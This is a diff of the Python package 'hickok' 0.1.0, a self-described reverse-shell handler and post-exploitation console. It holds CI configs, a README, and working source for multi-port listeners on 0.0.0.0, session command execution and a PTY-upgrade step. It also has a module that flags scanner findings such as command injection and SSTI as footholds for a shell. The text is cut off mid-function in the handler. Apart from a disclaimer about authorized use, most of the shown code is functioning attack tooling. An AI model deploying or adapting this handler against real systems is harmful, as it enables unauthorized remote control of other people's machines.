hickok 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,25 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ pull_request:
7
+ branches: [main]
8
+
9
+ jobs:
10
+ test:
11
+ runs-on: ubuntu-latest
12
+ strategy:
13
+ fail-fast: false
14
+ matrix:
15
+ python-version: ["3.10", "3.11", "3.12"]
16
+ steps:
17
+ - uses: actions/checkout@v5
18
+ - name: Set up Python ${{ matrix.python-version }}
19
+ uses: actions/setup-python@v5
20
+ with:
21
+ python-version: ${{ matrix.python-version }}
22
+ - name: Install
23
+ run: pip install -e ".[dev]"
24
+ - name: Test
25
+ run: pytest -q
@@ -0,0 +1,30 @@
1
+ name: release
2
+
3
+ on:
4
+ push:
5
+ tags: ["v*"]
6
+
7
+ permissions:
8
+ contents: write
9
+ id-token: write # lets PyPI Trusted Publishing mint a short-lived token (no secrets stored)
10
+
11
+ jobs:
12
+ release:
13
+ runs-on: ubuntu-latest
14
+ environment: pypi # must match the environment set on the PyPI trusted publisher
15
+ steps:
16
+ - uses: actions/checkout@v5
17
+ - uses: actions/setup-python@v5
18
+ with:
19
+ python-version: "3.12"
20
+ - name: Build sdist and wheel
21
+ run: |
22
+ python -m pip install --upgrade build
23
+ python -m build
24
+ - name: Publish GitHub release
25
+ uses: softprops/action-gh-release@v2
26
+ with:
27
+ generate_release_notes: true
28
+ files: dist/*
29
+ - name: Publish to PyPI
30
+ uses: pypa/gh-action-pypi-publish@release/v1
@@ -0,0 +1,18 @@
1
+ # Python
2
+ __pycache__/
3
+ *.py[cod]
4
+ *.egg-info/
5
+ .eggs/
6
+ dist/
7
+ build/
8
+ .venv/
9
+ venv/
10
+
11
+ # test / build caches
12
+ .pytest_cache/
13
+ .ruff_cache/
14
+
15
+ # editors / OS
16
+ .vscode/
17
+ .idea/
18
+ .DS_Store
@@ -0,0 +1,16 @@
1
+ # Changelog
2
+
3
+ All notable changes to this project are documented here. The format is loosely
4
+ based on [Keep a Changelog](https://keepachangelog.com/).
5
+
6
+ ## [0.1.0]
7
+
8
+ ### Added
9
+ - Reverse-shell handler: multi-port listeners and an interactive console
10
+ (`sessions`, `cmd`, `interact` with PTY raw-mode, `upgrade`, `kill`).
11
+ - `payloads` — reverse-shell one-liners (bash, sh-fifo, nc, python3, php, perl,
12
+ PowerShell) for a given LHOST/LPORT, with LHOST auto-detection.
13
+ - `hickok hand findings.json` — reads a wraith run and flags the findings that
14
+ mean code execution (a path to a shell); completes the dead man's hand.
15
+ - Themed console (ember / steel / bone / crimson), the eights, and the
16
+ `eights` / dead-man's-hand reveals. Seeded from wraith's shell handler.
hickok-0.1.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Gustavo Almeida
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
hickok-0.1.0/PKG-INFO ADDED
@@ -0,0 +1,103 @@
1
+ Metadata-Version: 2.4
2
+ Name: hickok
3
+ Version: 0.1.0
4
+ Summary: Reverse-shell handler & post-exploitation console — the eights to wraith's aces.
5
+ Project-URL: Homepage, https://github.com/gusta-ve/hickok
6
+ Project-URL: Repository, https://github.com/gusta-ve/hickok
7
+ Project-URL: Issues, https://github.com/gusta-ve/hickok/issues
8
+ Project-URL: Changelog, https://github.com/gusta-ve/hickok/blob/main/CHANGELOG.md
9
+ Author-email: Gustavo Almeida <gustavoalm09@gmail.com>
10
+ License: MIT
11
+ License-File: LICENSE
12
+ Keywords: offensive-security,pentest,post-exploitation,red-team,reverse-shell,security
13
+ Classifier: Environment :: Console
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Topic :: Security
16
+ Requires-Python: >=3.10
17
+ Provides-Extra: dev
18
+ Requires-Dist: pytest>=8.0; extra == 'dev'
19
+ Description-Content-Type: text/markdown
20
+
21
+ # hickok
22
+
23
+ A reverse-shell handler and post-exploitation console. Catch shells on multiple
24
+ listeners, run commands, upgrade to a full PTY, and generate reverse-shell
25
+ one-liners — from one dependency-free CLI.
26
+
27
+ It's the other half of a hand: [**wraith**](https://github.com/gusta-ve/wraith)
28
+ holds the aces — it does the recon and proves the way in; **hickok** brings the
29
+ eights — it acts on what wraith caught. Aces and eights, the *dead man's hand*.
30
+
31
+ [![CI](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml/badge.svg)](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml)
32
+ ![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-blue)
33
+ ![MIT](https://img.shields.io/badge/license-MIT-green)
34
+
35
+ ## Install
36
+
37
+ ```bash
38
+ pipx install hickok
39
+ ```
40
+
41
+ Or from a clone: `pip install -e .` — or run it with no install at all:
42
+ `PYTHONPATH=src python3 -m hickok`.
43
+
44
+ ## Usage
45
+
46
+ The listener is the default command, so a bare `hickok` starts catching shells:
47
+
48
+ ```bash
49
+ hickok # listen on :9001, drop into the console
50
+ hickok -l 9001,9002 --lhost 10.10.14.7 # multiple listeners, fixed LHOST
51
+ hickok payloads 10.10.14.7 9001 # print reverse-shell one-liners
52
+ hickok hand wraith-runs/<run>/findings.json # act on what wraith caught
53
+ ```
54
+
55
+ Inside the console:
56
+
57
+ ```
58
+ hickok>
59
+ sessions list connected shells
60
+ payloads reverse-shell one-liners for your LHOST
61
+ cmd 1 id run a command on session 1
62
+ upgrade 1 turn a dumb shell into a PTY
63
+ interact 1 attach (detach with Ctrl-])
64
+ kill 1 drop a session
65
+ ```
66
+
67
+ ## The bridge — `hickok hand`
68
+
69
+ Point hickok at a wraith run's `findings.json` and it reads the table: it lists
70
+ what wraith found and flags every finding that means **code execution** (command
71
+ injection, SSTI, …) — those are the doors to a shell.
72
+
73
+ ```bash
74
+ hickok hand wraith-runs/target.com-<ts>/findings.json
75
+ ```
76
+
77
+ ```
78
+ [Critical] Command Injection in 'host' http://target/ping ⮕ shell
79
+ [High] SSTI in 'name' http://target/render ⮕ shell
80
+ [High] Reflected XSS in 'q' http://target/search
81
+
82
+ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐
83
+ │ A♠ │ │ A♣ │ │ 8♠ │ │ 8♣ │
84
+ └─────┘ └─────┘ └─────┘ └─────┘
85
+
86
+ aces and eights — the dead man's hand.
87
+ ```
88
+
89
+ wraith deals the aces; hickok brings the eights. The hand is complete.
90
+
91
+ ## Disclaimer
92
+
93
+ Built for authorized security testing and research — point it where you're meant
94
+ to. What anyone does with it from there is theirs alone; the author takes no
95
+ responsibility for misuse.
96
+
97
+ ## License
98
+
99
+ MIT.
100
+
101
+ ---
102
+
103
+ *in memory of J.B. Hickok — shot holding aces and eights, Deadwood, 1876.*
hickok-0.1.0/README.md ADDED
@@ -0,0 +1,83 @@
1
+ # hickok
2
+
3
+ A reverse-shell handler and post-exploitation console. Catch shells on multiple
4
+ listeners, run commands, upgrade to a full PTY, and generate reverse-shell
5
+ one-liners — from one dependency-free CLI.
6
+
7
+ It's the other half of a hand: [**wraith**](https://github.com/gusta-ve/wraith)
8
+ holds the aces — it does the recon and proves the way in; **hickok** brings the
9
+ eights — it acts on what wraith caught. Aces and eights, the *dead man's hand*.
10
+
11
+ [![CI](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml/badge.svg)](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml)
12
+ ![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-blue)
13
+ ![MIT](https://img.shields.io/badge/license-MIT-green)
14
+
15
+ ## Install
16
+
17
+ ```bash
18
+ pipx install hickok
19
+ ```
20
+
21
+ Or from a clone: `pip install -e .` — or run it with no install at all:
22
+ `PYTHONPATH=src python3 -m hickok`.
23
+
24
+ ## Usage
25
+
26
+ The listener is the default command, so a bare `hickok` starts catching shells:
27
+
28
+ ```bash
29
+ hickok # listen on :9001, drop into the console
30
+ hickok -l 9001,9002 --lhost 10.10.14.7 # multiple listeners, fixed LHOST
31
+ hickok payloads 10.10.14.7 9001 # print reverse-shell one-liners
32
+ hickok hand wraith-runs/<run>/findings.json # act on what wraith caught
33
+ ```
34
+
35
+ Inside the console:
36
+
37
+ ```
38
+ hickok>
39
+ sessions list connected shells
40
+ payloads reverse-shell one-liners for your LHOST
41
+ cmd 1 id run a command on session 1
42
+ upgrade 1 turn a dumb shell into a PTY
43
+ interact 1 attach (detach with Ctrl-])
44
+ kill 1 drop a session
45
+ ```
46
+
47
+ ## The bridge — `hickok hand`
48
+
49
+ Point hickok at a wraith run's `findings.json` and it reads the table: it lists
50
+ what wraith found and flags every finding that means **code execution** (command
51
+ injection, SSTI, …) — those are the doors to a shell.
52
+
53
+ ```bash
54
+ hickok hand wraith-runs/target.com-<ts>/findings.json
55
+ ```
56
+
57
+ ```
58
+ [Critical] Command Injection in 'host' http://target/ping ⮕ shell
59
+ [High] SSTI in 'name' http://target/render ⮕ shell
60
+ [High] Reflected XSS in 'q' http://target/search
61
+
62
+ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐
63
+ │ A♠ │ │ A♣ │ │ 8♠ │ │ 8♣ │
64
+ └─────┘ └─────┘ └─────┘ └─────┘
65
+
66
+ aces and eights — the dead man's hand.
67
+ ```
68
+
69
+ wraith deals the aces; hickok brings the eights. The hand is complete.
70
+
71
+ ## Disclaimer
72
+
73
+ Built for authorized security testing and research — point it where you're meant
74
+ to. What anyone does with it from there is theirs alone; the author takes no
75
+ responsibility for misuse.
76
+
77
+ ## License
78
+
79
+ MIT.
80
+
81
+ ---
82
+
83
+ *in memory of J.B. Hickok — shot holding aces and eights, Deadwood, 1876.*
@@ -0,0 +1,40 @@
1
+ [build-system]
2
+ requires = ["hatchling"]
3
+ build-backend = "hatchling.build"
4
+
5
+ [project]
6
+ name = "hickok"
7
+ version = "0.1.0"
8
+ description = "Reverse-shell handler & post-exploitation console — the eights to wraith's aces."
9
+ readme = "README.md"
10
+ requires-python = ">=3.10"
11
+ license = { text = "MIT" }
12
+ authors = [{ name = "Gustavo Almeida", email = "gustavoalm09@gmail.com" }]
13
+ keywords = ["security", "pentest", "offensive-security", "post-exploitation", "reverse-shell", "red-team"]
14
+ classifiers = [
15
+ "Programming Language :: Python :: 3",
16
+ "Topic :: Security",
17
+ "Environment :: Console",
18
+ ]
19
+
20
+ # Pure standard library — nothing to install but Python.
21
+ dependencies = []
22
+
23
+ [project.optional-dependencies]
24
+ dev = ["pytest>=8.0"]
25
+
26
+ [project.urls]
27
+ Homepage = "https://github.com/gusta-ve/hickok"
28
+ Repository = "https://github.com/gusta-ve/hickok"
29
+ Issues = "https://github.com/gusta-ve/hickok/issues"
30
+ Changelog = "https://github.com/gusta-ve/hickok/blob/main/CHANGELOG.md"
31
+
32
+ [project.scripts]
33
+ hickok = "hickok.cli:main"
34
+
35
+ [tool.hatch.build.targets.wheel]
36
+ packages = ["src/hickok"]
37
+
38
+ [tool.pytest.ini_options]
39
+ pythonpath = ["src"]
40
+ testpaths = ["tests"]
@@ -0,0 +1,7 @@
1
+ """hickok — reverse-shell handler & post-exploitation console.
2
+
3
+ The eights of the dead man's hand: wraith holds the aces (recon), hickok brings
4
+ the eights (action). Aces and eights — J.B. Hickok, Deadwood 1876.
5
+ """
6
+
7
+ __version__ = "0.1.0"
@@ -0,0 +1,4 @@
1
+ from hickok.cli import main
2
+
3
+ if __name__ == "__main__":
4
+ main()
@@ -0,0 +1,176 @@
1
+ """hickok — reverse-shell handler & post-exploitation console."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import argparse
6
+ import asyncio
7
+ import sys
8
+
9
+ from hickok import __version__, findings, payloads
10
+ from hickok.console import DIM, THEMES, Console
11
+ from hickok.handler import ShellServer
12
+
13
+ EXAMPLES = """\
14
+ examples:
15
+ hickok listen on :9001 and drop into the console
16
+ hickok -l 9001,9002 --lhost 10.10.14.7 multiple listeners, fixed LHOST
17
+ hickok hand wraith-runs/.../findings.json act on what wraith caught
18
+ hickok payloads 10.10.14.7 9001 print reverse-shell one-liners
19
+ """
20
+
21
+ _COMMANDS = {"listen", "hand", "payloads", "eights"}
22
+
23
+
24
+ class _Help(argparse.RawDescriptionHelpFormatter):
25
+ def __init__(self, prog):
26
+ super().__init__(prog, max_help_position=28, width=86)
27
+
28
+
29
+ def _with_default_command(argv):
30
+ """`hickok` / `hickok -l 9001` default to the `listen` handler."""
31
+ out = list(argv)
32
+ i = 0
33
+ while i < len(out):
34
+ tok = out[i]
35
+ if tok in ("-h", "--help", "--version"):
36
+ return out
37
+ if tok == "--theme":
38
+ i += 2
39
+ continue
40
+ if tok in ("--no-color", "--no-banner"):
41
+ i += 1
42
+ continue
43
+ if tok not in _COMMANDS:
44
+ out.insert(i, "listen")
45
+ return out
46
+ return out
47
+
48
+
49
+ def _console(args) -> Console:
50
+ return Console(
51
+ theme=getattr(args, "theme", None),
52
+ color=False if getattr(args, "no_color", False) else None,
53
+ banner=not getattr(args, "no_banner", False),
54
+ )
55
+
56
+
57
+ def cmd_listen(args) -> None:
58
+ c = _console(args)
59
+ c.banner()
60
+ try:
61
+ ports = [int(p) for p in args.listen.split(",")]
62
+ except ValueError:
63
+ raise SystemExit("--listen expects comma-separated port numbers")
64
+ lhost = args.lhost or payloads.guess_lhost()
65
+ server = ShellServer(ports, lhost, c)
66
+ asyncio.run(server.run())
67
+
68
+
69
+ def cmd_payloads(args) -> None:
70
+ c = _console(args)
71
+ lhost = args.lhost or payloads.guess_lhost()
72
+ c.info(f"reverse shells for {lhost}:{args.lport}")
73
+ for name, p in payloads.generate(lhost, args.lport).items():
74
+ c.plain(f"\n # {name}\n {p}")
75
+ c.plain("")
76
+
77
+
78
+ def cmd_hand(args) -> None:
79
+ c = _console(args)
80
+ c.banner()
81
+ try:
82
+ items = findings.load(args.file)
83
+ except (OSError, ValueError) as exc:
84
+ c.bad(f"cannot read findings: {exc}")
85
+ raise SystemExit(1)
86
+
87
+ c.info(f"{len(items)} finding(s) dealt by wraith")
88
+ c.rule("the table")
89
+ for f in items:
90
+ sev, title, target = f.get("severity", "?"), f.get("title", ""), f.get("target", "")
91
+ mark = c._accent(" ⮕ shell") if findings.is_foothold(title) else ""
92
+ c.plain(f" [{sev}] {title} {c._c(DIM, target)}{mark}")
93
+
94
+ c.dead_mans_hand(dealt_by_wraith=True)
95
+
96
+ foot = findings.footholds(items)
97
+ if foot:
98
+ c.good(f"{len(foot)} foothold(s) — code execution. catch a shell off one:")
99
+ c.plain(" hickok -l 9001 # listener in one terminal")
100
+ for f in foot:
101
+ c.plain(f" → {f.get('target', '')}")
102
+ else:
103
+ c.warn("no code-execution foothold here — these are leads, not a shell (yet)")
104
+
105
+
106
+ def cmd_eights(args) -> None:
107
+ _console(args).eights()
108
+
109
+
110
+ def _output_options() -> argparse.ArgumentParser:
111
+ """Cosmetic options every command understands, shared via parents= so they
112
+ work in any position (`hickok hand f.json --no-color`, not only before it)."""
113
+ op = argparse.ArgumentParser(add_help=False)
114
+ op.add_argument("--theme", metavar="NAME", choices=list(THEMES),
115
+ help="colour theme: " + " | ".join(THEMES) + " (default: ember)")
116
+ op.add_argument("--no-color", action="store_true", help="disable coloured output")
117
+ op.add_argument("--no-banner", action="store_true", help="suppress the banner")
118
+ return op
119
+
120
+
121
+ def build_parser() -> argparse.ArgumentParser:
122
+ common = _output_options()
123
+ p = argparse.ArgumentParser(
124
+ prog="hickok",
125
+ description="Reverse-shell handler & post-exploitation. The listener is the default: "
126
+ "`hickok -l PORTS`.",
127
+ epilog=EXAMPLES,
128
+ formatter_class=_Help,
129
+ parents=[common],
130
+ )
131
+ p.add_argument("--version", action="version", version=f"hickok {__version__}")
132
+ sub = p.add_subparsers(dest="command", metavar="<command>")
133
+
134
+ ln = sub.add_parser("listen", help="catch reverse shells (default command)",
135
+ formatter_class=_Help, epilog=EXAMPLES, parents=[common])
136
+ ln.add_argument("-l", "--listen", metavar="PORTS", default="9001",
137
+ help="comma-separated ports to listen on (default: 9001)")
138
+ ln.add_argument("--lhost", metavar="IP", help="LHOST embedded in generated payloads (auto-detected)")
139
+ ln.set_defaults(func=cmd_listen)
140
+
141
+ hd = sub.add_parser("hand", help="act on a wraith findings.json",
142
+ formatter_class=_Help, parents=[common])
143
+ hd.add_argument("file", help="path to a wraith findings.json")
144
+ hd.set_defaults(func=cmd_hand)
145
+
146
+ pl = sub.add_parser("payloads", help="print reverse-shell one-liners",
147
+ formatter_class=_Help, parents=[common])
148
+ pl.add_argument("lhost", nargs="?", help="LHOST (auto-detected if omitted)")
149
+ pl.add_argument("lport", nargs="?", type=int, default=9001, help="LPORT (default: 9001)")
150
+ pl.set_defaults(func=cmd_payloads)
151
+
152
+ egg = sub.add_parser("eights", parents=[common]) # easter egg: no help= keeps it out
153
+ egg.set_defaults(func=cmd_eights)
154
+ return p
155
+
156
+
157
+ def main(argv=None) -> None:
158
+ argv = sys.argv[1:] if argv is None else list(argv)
159
+ parser = build_parser()
160
+ if not argv:
161
+ Console().banner()
162
+ parser.print_help()
163
+ return
164
+ args = parser.parse_args(_with_default_command(argv))
165
+ if not hasattr(args, "func"):
166
+ parser.print_help()
167
+ return
168
+ try:
169
+ args.func(args)
170
+ except KeyboardInterrupt:
171
+ print("\n [-] interrupted", file=sys.stderr)
172
+ sys.exit(130)
173
+
174
+
175
+ if __name__ == "__main__":
176
+ main()
@@ -0,0 +1,139 @@
1
+ """Console output: banner, colour themes, card art and the dead man's hand.
2
+
3
+ Dependency-free (ANSI / truecolor). Colour auto-enables on a TTY and honours
4
+ NO_COLOR; force it with HICKOK_COLOR=1. Pick a theme with --theme or HICKOK_THEME
5
+ (ember | steel | bone | crimson).
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ import os
11
+ import sys
12
+
13
+ from hickok import __version__
14
+
15
+ RESET = "\033[0m"
16
+ BOLD = "\033[1m"
17
+ DIM = "\033[2m"
18
+
19
+ THEMES = {
20
+ "ember": {"grad": ((255, 205, 95), (150, 60, 0)), "accent": (255, 185, 70)}, # Deadwood gold
21
+ "steel": {"grad": ((180, 200, 220), (40, 60, 90)), "accent": (150, 180, 215)}, # gunmetal
22
+ "bone": {"grad": ((235, 235, 235), (120, 120, 120)), "accent": (220, 220, 220)},
23
+ "crimson": {"grad": ((255, 80, 80), (110, 0, 12)), "accent": (255, 85, 85)}, # match wraith
24
+ }
25
+ DEFAULT_THEME = "ember"
26
+
27
+ _BONE = (235, 235, 235) # black suits render bright on a dark terminal
28
+
29
+
30
+ def _fg(rgb) -> str:
31
+ return f"\033[38;2;{rgb[0]};{rgb[1]};{rgb[2]}m"
32
+
33
+
34
+ def _lerp(a, b, t):
35
+ return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))
36
+
37
+
38
+ def _supports_color(force=None) -> bool:
39
+ if force is not None:
40
+ return force
41
+ if os.environ.get("NO_COLOR"):
42
+ return False
43
+ if os.environ.get("HICKOK_COLOR"):
44
+ return True
45
+ return sys.stdout.isatty()
46
+
47
+
48
+ class Console:
49
+ def __init__(self, theme=None, color=None, banner=True):
50
+ name = theme or os.environ.get("HICKOK_THEME") or DEFAULT_THEME
51
+ self.theme = THEMES.get(name, THEMES[DEFAULT_THEME])
52
+ self.color = _supports_color(color)
53
+ self.show_banner = banner
54
+
55
+ def _emit(self, text: str = "") -> None:
56
+ print(text, flush=True)
57
+
58
+ def _c(self, code: str, text: str) -> str:
59
+ return f"{code}{text}{RESET}" if self.color else text
60
+
61
+ def _accent(self, text: str) -> str:
62
+ return self._c(_fg(self.theme["accent"]), text)
63
+
64
+ # --------------------------------------------------------------- cards
65
+ def _cards(self, specs, indent: str = " ") -> None:
66
+ """Lay a row of playing cards (rank, suit) face-up, in bright bone."""
67
+ top = " ".join("┌─────┐" for _ in specs)
68
+ mid = " ".join(f"│ {r}{s} │" for r, s in specs)
69
+ bot = " ".join("└─────┘" for _ in specs)
70
+ white = _fg(_BONE)
71
+ for line in (top, mid, bot):
72
+ self._emit(indent + self._c(BOLD + white, line))
73
+
74
+ # -------------------------------------------------------------- banner
75
+ def banner(self) -> None:
76
+ if not self.show_banner:
77
+ return
78
+ self._emit()
79
+ self._cards([("8", "♠"), ("8", "♣")])
80
+ self._emit()
81
+ wordmark = " ".join("HICKOK")
82
+ c0, c1 = self.theme["grad"]
83
+ if self.color:
84
+ out = ""
85
+ for i, ch in enumerate(wordmark):
86
+ out += _fg(_lerp(c0, c1, i / max(1, len(wordmark) - 1))) + ch
87
+ self._emit(" " + BOLD + out + RESET)
88
+ else:
89
+ self._emit(" " + wordmark)
90
+ self._emit(" " + self._accent("» ")
91
+ + self._c(DIM, "reverse-shell handler & post-exploitation")
92
+ + " " + self._c(DIM, f"v{__version__}"))
93
+ self._emit(" " + self._c(DIM, "gusta-ve · github.com/gusta-ve/hickok · authorized use only"))
94
+ self._emit(" " + self._c(DIM, "in memory of J.B. Hickok — shot holding aces & eights, Deadwood 1876"))
95
+ self._emit()
96
+
97
+ # --------------------------------------------------------------- lines
98
+ def info(self, msg) -> None:
99
+ self._emit(self._c("\033[36m", " [*] ") + str(msg))
100
+
101
+ def good(self, msg) -> None:
102
+ self._emit(self._c("\033[32m", " [+] ") + str(msg))
103
+
104
+ def warn(self, msg) -> None:
105
+ self._emit(self._c("\033[33m", " [!] ") + str(msg))
106
+
107
+ def bad(self, msg) -> None:
108
+ self._emit(self._c("\033[31m", " [-] ") + str(msg))
109
+
110
+ def plain(self, msg: str = "") -> None:
111
+ self._emit(msg)
112
+
113
+ def rule(self, title: str = "") -> None:
114
+ if title:
115
+ self._emit(self._c(DIM, f"── {title} " + "─" * max(0, 52 - len(title))))
116
+ else:
117
+ self._emit(self._c(DIM, "─" * 56))
118
+
119
+ # ----------------------------------------------------------- the hand
120
+ def eights(self) -> None:
121
+ """Hickok lays down the eights — half the dead man's hand."""
122
+ self._emit()
123
+ self._cards([("8", "♠"), ("8", "♣")])
124
+ self._emit()
125
+ self._emit(" " + self._c(DIM, "Hickok lays down the eights."))
126
+ self._emit(" " + self._c(DIM, "…and Hickok was holding the eights."))
127
+ self._emit()
128
+
129
+ def dead_mans_hand(self, dealt_by_wraith: bool = False) -> None:
130
+ """The full hand laid down — aces and eights. When the aces came from a
131
+ wraith findings file, the catch is acknowledged."""
132
+ self._emit()
133
+ self._cards([("A", "♠"), ("A", "♣"), ("8", "♠"), ("8", "♣")])
134
+ self._emit()
135
+ self._emit(" " + self._c(BOLD, "aces and eights — the dead man's hand."))
136
+ if dealt_by_wraith:
137
+ self._emit(" " + self._c(DIM, "the wraith dealt the aces; Hickok brought the eights."))
138
+ self._emit(" " + self._c(DIM, "J.B. Hickok, Deadwood 1876. the house always collects."))
139
+ self._emit()
@@ -0,0 +1,35 @@
1
+ """Read a wraith findings.json and pick out what can be turned into a foothold.
2
+
3
+ This is the bridge: wraith holds the aces (it finds and proves the way in),
4
+ hickok brings the eights (it acts on them). A finding that means code execution
5
+ is a door to a shell — hickok's whole reason to exist.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ import json
11
+ from pathlib import Path
12
+
13
+ # Finding titles that imply server-side code execution -> a reverse shell.
14
+ _FOOTHOLD = (
15
+ "command injection", "remote code", "rce", "code execution",
16
+ "server-side template injection", "ssti", "deserial", "file upload",
17
+ )
18
+
19
+
20
+ def load(path) -> list[dict]:
21
+ """Parse a wraith findings.json (a list of finding objects)."""
22
+ data = json.loads(Path(path).read_text(encoding="utf-8"))
23
+ if not isinstance(data, list):
24
+ raise ValueError("not a wraith findings.json (expected a JSON list)")
25
+ return data
26
+
27
+
28
+ def is_foothold(title: str) -> bool:
29
+ """True if the finding's title implies code execution — a path to a shell."""
30
+ t = (title or "").lower()
31
+ return any(k in t for k in _FOOTHOLD)
32
+
33
+
34
+ def footholds(findings: list[dict]) -> list[dict]:
35
+ return [f for f in findings if is_foothold(f.get("title", ""))]
@@ -0,0 +1,189 @@
1
+ """Interactive reverse-shell handler: multi-listener + post-exploitation console."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import asyncio
6
+ import os
7
+ import sys
8
+
9
+ from hickok import payloads
10
+ from hickok.session import SessionManager
11
+
12
+ HELP = """commands:
13
+ sessions list connected sessions
14
+ interact <id> attach to a session (detach with Ctrl-])
15
+ cmd <id> <command> run a single command and print the output
16
+ upgrade <id> upgrade the shell to a full PTY (python pty.spawn)
17
+ payloads [lhost] [lport] print reverse-shell one-liners
18
+ kill <id> drop a session
19
+ help show this help
20
+ exit quit
21
+ """
22
+
23
+
24
+ class ShellServer:
25
+ def __init__(self, ports: list[int], lhost: str, console):
26
+ self.ports = ports
27
+ self.lhost = lhost
28
+ self.console = console
29
+ self.mgr = SessionManager()
30
+ self._servers: list[asyncio.AbstractServer] = []
31
+
32
+ async def _on_conn(self, reader, writer) -> None:
33
+ sess = self.mgr.add(reader, writer)
34
+ sess.start()
35
+ host, port = sess.peer[0], sess.peer[1]
36
+ self.console.good(f"session {sess.id} opened — {host}:{port}")
37
+
38
+ async def _start_listeners(self) -> None:
39
+ for port in self.ports:
40
+ try:
41
+ server = await asyncio.start_server(self._on_conn, "0.0.0.0", port)
42
+ except OSError as exc:
43
+ self.console.bad(f"cannot bind :{port} — {exc}")
44
+ continue
45
+ self._servers.append(server)
46
+ self.console.info(f"listening on 0.0.0.0:{port}")
47
+
48
+ async def run(self) -> None:
49
+ await self._start_listeners()
50
+ if not self._servers:
51
+ self.console.bad("no listeners; aborting")
52
+ return
53
+ self.console.info(f"lhost for payloads: {self.lhost} (type 'help')")
54
+ await self._repl()
55
+ for server in self._servers:
56
+ server.close()
57
+
58
+ # ------------------------------------------------------------- REPL
59
+ async def _repl(self) -> None:
60
+ loop = asyncio.get_event_loop()
61
+ while True:
62
+ try:
63
+ line = await loop.run_in_executor(None, input, "hickok> ")
64
+ except (EOFError, KeyboardInterrupt):
65
+ break
66
+ line = line.strip()
67
+ if not line:
68
+ continue
69
+ parts = line.split(maxsplit=1)
70
+ cmd = parts[0].lower()
71
+ arg = parts[1] if len(parts) > 1 else ""
72
+
73
+ if cmd in ("exit", "quit"):
74
+ break
75
+ elif cmd in ("help", "?"):
76
+ self.console.plain(HELP)
77
+ elif cmd in ("sessions", "ls"):
78
+ self._list_sessions()
79
+ elif cmd == "payloads":
80
+ self._show_payloads(arg)
81
+ elif cmd in ("cmd", "run"):
82
+ await self._run_cmd(arg)
83
+ elif cmd == "upgrade":
84
+ await self._upgrade(arg)
85
+ elif cmd == "interact":
86
+ await self._interact(arg)
87
+ elif cmd == "kill":
88
+ self._kill(arg)
89
+ else:
90
+ self.console.warn(f"unknown command: {cmd} (type 'help')")
91
+
92
+ def _list_sessions(self) -> None:
93
+ sessions = self.mgr.all()
94
+ if not sessions:
95
+ self.console.warn("no sessions yet")
96
+ return
97
+ for s in sessions:
98
+ state = "alive" if s.alive else "dead"
99
+ self.console.plain(f" [{s.id}] {s.peer[0]}:{s.peer[1]} {state} up {s.age}")
100
+
101
+ def _show_payloads(self, arg: str) -> None:
102
+ bits = arg.split()
103
+ lhost = bits[0] if len(bits) >= 1 else self.lhost
104
+ lport = int(bits[1]) if len(bits) >= 2 else self.ports[0]
105
+ self.console.info(f"reverse shells for {lhost}:{lport}")
106
+ for name, payload in payloads.generate(lhost, lport).items():
107
+ self.console.plain(f"\n # {name}\n {payload}")
108
+ self.console.plain("")
109
+
110
+ def _resolve(self, arg: str):
111
+ try:
112
+ sess = self.mgr.get(int(arg.split()[0]))
113
+ except (ValueError, IndexError):
114
+ self.console.warn("usage needs a numeric session id")
115
+ return None
116
+ if not sess:
117
+ self.console.warn("no such session")
118
+ return None
119
+ return sess
120
+
121
+ async def _run_cmd(self, arg: str) -> None:
122
+ bits = arg.split(maxsplit=1)
123
+ if len(bits) < 2:
124
+ self.console.warn("usage: cmd <id> <command>")
125
+ return
126
+ sess = self._resolve(bits[0])
127
+ if not sess:
128
+ return
129
+ await sess.send(bits[1].encode() + b"\n")
130
+ out = await sess.collect(timeout=1.2)
131
+ sys.stdout.buffer.write(out)
132
+ sys.stdout.buffer.flush()
133
+ self.console.plain("")
134
+
135
+ async def _upgrade(self, arg: str) -> None:
136
+ sess = self._resolve(arg)
137
+ if not sess:
138
+ return
139
+ await sess.send(payloads.TTY_UPGRADE.encode() + b"\n")
140
+ self.console.good("sent PTY upgrade — interact and run: export TERM=xterm")
141
+
142
+ def _kill(self, arg: str) -> None:
143
+ sess = self._resolve(arg)
144
+ if not sess:
145
+ return
146
+ self.mgr.remove(sess.id)
147
+ self.console.good(f"session {sess.id} closed")
148
+
149
+ async def _interact(self, arg: str) -> None:
150
+ sess = self._resolve(arg)
151
+ if not sess:
152
